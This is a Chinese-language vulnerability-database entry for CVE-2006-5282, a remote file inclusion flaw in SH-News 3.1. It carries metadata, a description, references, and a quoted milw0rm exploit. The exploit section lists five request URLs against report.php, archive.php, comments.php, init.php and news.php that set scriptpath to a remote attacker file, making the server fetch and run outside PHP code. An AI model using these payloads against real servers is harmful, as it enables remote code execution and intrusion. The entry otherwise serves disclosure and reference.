SH-News 多个PHP文件scriptpath参数远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111243 漏洞类型 输入验证
发布时间 2006-10-11 更新时间 2007-06-15
CVE编号 CVE-2006-5282 CNNVD-ID CNNVD-200610-201
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2518
https://www.securityfocus.com/bid/20478
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-201
|漏洞详情
SH-News是一套基于PHP和MySQL的新闻组系统。SH-News处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。SH-News的report.php、archive.php、comments.php、init.php和news.php文件没有正确的验证scriptpath参数的输入数据,攻击者可以通过包含本地或外部资源的任意文件导致任意PHP代码。
|漏洞EXP
#==================================================================
#  SH-News (RFI)
#==================================================================
# Info:-
#
# Scripts:  SH-News
# Download: http://www.hotscripts.com/jump.php?listing_id=19561&jump_type=1
# Version : 3.1
# Dork & vuln : download scripts and think :)
# Note : The vuln not tested on other version :)
#
#==================================================================
#Exploit :
#
#http://localhost/path/report.php?scriptpath=http://EvElCoDe.txt?
#http://localhost/path/archive.php?scriptpath=http://EvElCoDe.txt?
#http://localhost/path/comments.php?scriptpath=http://EvElCoDe.txt?
#http://localhost/path/init.php?scriptpath=http://EvElCoDe.txt?
#http://localhost/path/news.php?scriptpath=http://EvElCoDe.txt?
#
#==================================================================
#Discoverd By : v1per-haCker
#
#Conatact : v1per-hacker[at]hotmail.com
#XP10_hackEr Team
#Greetz to : abu_shahad ; RooT-shilL ; hitler_jeddah ; BooB11 ; FaTaL ;
#               ThE-WoLf-KsA ; mohandko ; fooooz ; maVen ; fucker_net ;
#	    metoovet
#and all members in XP10_hackEr Team
#thanx to str0ke :)
#WWW.XP10.COM
===================================================================

# milw0rm.com [2006-10-11]
|受影响的产品
SH-News SH-News 3.1
|参考资料

来源:XF
名称:shnews-multiple-file-include(29477)
链接:http://xforce.iss.net/xforce/xfdb/29477
来源:BID
名称:20478
链接:http://www.securityfocus.com/bid/20478
来源:MILW0RM
名称:2518
链接:http://www.milw0rm.com/exploits/2518
来源:VUPEN
名称:ADV-2006-4014
链接:http://www.frsirt.com/english/advisories/2006/4014
来源:SECUNIA
名称:22316
链接:http://secunia.com/advisories/22316
来源:BUGTRAQ
名称:20070614RFIInScriptSH-News3.1
链接:http://www.securityfocus.com/archive/1/archive/1/471413/100/0/threaded
来源:MILW0RM
名称:2518
链接:http://milw0rm.com/exploits/2518